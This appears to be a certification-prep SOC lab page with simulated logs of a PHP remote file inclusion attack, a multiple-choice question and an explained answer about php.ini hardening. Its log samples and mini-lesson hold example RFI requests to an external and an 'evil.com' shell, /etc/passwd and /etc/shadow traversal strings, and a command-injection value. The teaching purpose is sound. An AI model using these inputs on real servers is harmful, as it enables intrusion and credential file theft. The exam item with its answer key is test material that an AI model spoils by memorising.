CSA (312-39) SOC Simulation Lab

Welcome to the SOC. Today, we're transitioning from network analysis to web application defense. You will investigate a compromised legacy web server and learn how specific configuration changes prevent critical web injection vectors.

Scenario Context

You are investigating a high-severity alert from your Web Application Firewall (WAF) guarding a legacy PHP-based customer portal. The alert triggered on anomalous URI parameters.

Simultaneously, your SIEM has flagged an anomaly: the web server itself (10.0.5.20) initiated an unexpected outbound HTTP connection to an unknown external IP address. The incident response team needs to know exactly how the attacker achieved code execution.

Security Environment

Review the correlated logs tracking the attacker's execution chain:

// Splunk Enterprise Security - Web Access Log (Apache) Time: 2023-10-28T09:14:22Z Src_IP: 203.0.113.45 Dest_IP: 10.0.5.20 HTTP_Method: GET URI_Request: /index.php?page=http://198.51.100.99/malicious_shell.txt Response_Code: 200 OK // VPC Flow Logs / NetFlow - Outbound Connection from Web Server Time: 2023-10-28T09:14:23Z Src_IP: 10.0.5.20 (Web Server) Dest_IP: 198.51.100.99 Dest_Port: 80 Protocol: TCP Action: ALLOW // EDR Process Execution Log (Host: WEB-PROD-01) Time: 2023-10-28T09:14:24Z Parent_Process: php-fpm.exe Child_Process: cmd.exe /c whoami User: www-data

Note: The application dynamically loaded the contents of the attacker's remote text file and executed it on the server.

Question

Which of the following attack can be eradicated by disabling of "allow_url_fopen and allow_url_include" in the php.ini file?

Expert Insight: Senior SOC Analyst

What is happening here?
Look closely at the Apache access log. The attacker passed a full URL (`http://198...`) into the `page=` parameter. Because the server's `php.ini` file was poorly configured with `allow_url_include = On`, PHP treated the attacker's remote server as a valid local file system path, fetched the `malicious_shell.txt`, and executed the PHP code inside it.
Why Option B is Correct:
This scenario describes a Remote File Inclusion (RFI), which EC-Council categorizes functionally as a URL Injection Attack. By setting `allow_url_fopen = Off` and `allow_url_include = Off`, you forcefully prevent PHP's include/require functions from accepting remote URL wrappers (`http://`, `ftp://`). This eradicates the attack vector at the infrastructure level.
Why the Others are Wrong:
A (File Injection/LFI): Disabling these settings stops remote URLs, but attackers could still inject local files (like `../../etc/passwd`) if the code is vulnerable.
C (LDAP Injection): Targets directory authentication services, totally unrelated to PHP file inclusion wrappers.
D (Command Injection): Involves passing OS commands (e.g., `127.0.0.1; ls -la`) into an execution function like `system()`, which doesn't rely on URL opening features.

SOC Mini-Lesson: LFI vs. RFI (URL Injection)

When you spot a suspicious web parameter like ?file=..., immediately classify the attack:

  • Local File Inclusion (LFI): The attacker reads sensitive files already on the server.
    Log signature: ?file=../../../../etc/shadow
  • Remote File Inclusion (RFI): The attacker forces the server to download and execute their payload from the outside.
    Log signature: ?file=http://evil.com/shell.php

Defense in Depth: Never trust user input, sanitize all parameters, and always harden `php.ini` before moving a server to production. It's a standard SOC vulnerability management check.

Ready to master web application threat hunting?

Explore more CSA simulations →